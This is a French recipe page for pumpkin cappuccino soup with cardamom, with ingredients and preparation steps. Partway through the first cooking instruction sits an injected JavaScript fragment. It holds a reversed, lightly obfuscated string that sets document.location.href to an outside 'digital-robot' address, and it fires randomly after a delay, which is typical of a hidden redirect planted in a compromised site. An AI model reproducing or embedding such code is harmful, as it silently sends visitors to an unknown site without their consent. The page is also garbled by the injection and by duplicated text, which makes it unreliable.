Cappuccino de potiron à la cardamome
2021-05-07- Niveau : Facile
Pelez, coupez le potiron en morceaux. Coupez l’ail en deux et ôtez le germe, hachez finement avec l’oignon. Dans une sauteuse avec de l’huile d’arachide faites revenir le hachis oignon, ail, sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Salez et poivrez.
Ingrédients
Pelez, coupez le potiron en morceaux. Coupez l'ail en deux et ôtez le germe, hachez finement avec l'oignon. Dans une sauteuse avec de l’huile d'arachide faites revenir le hachis oignon, ail, sur feu doux tout en remuant. Salez et poivrez. Incorporez le potiron et les graines de cardamome. Mouillez avec le bouillon de volaille. Couvrez et laissez mijoter pendant 20 minutes. Mixez les autres ingrédients jusqu’à obtenir une purée lisse et homogène. Versez le velouté dans des tasses à café. Liez avec une cuillère de crème fraîche, et parsemez de filament de safran. Servez aussitôt.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
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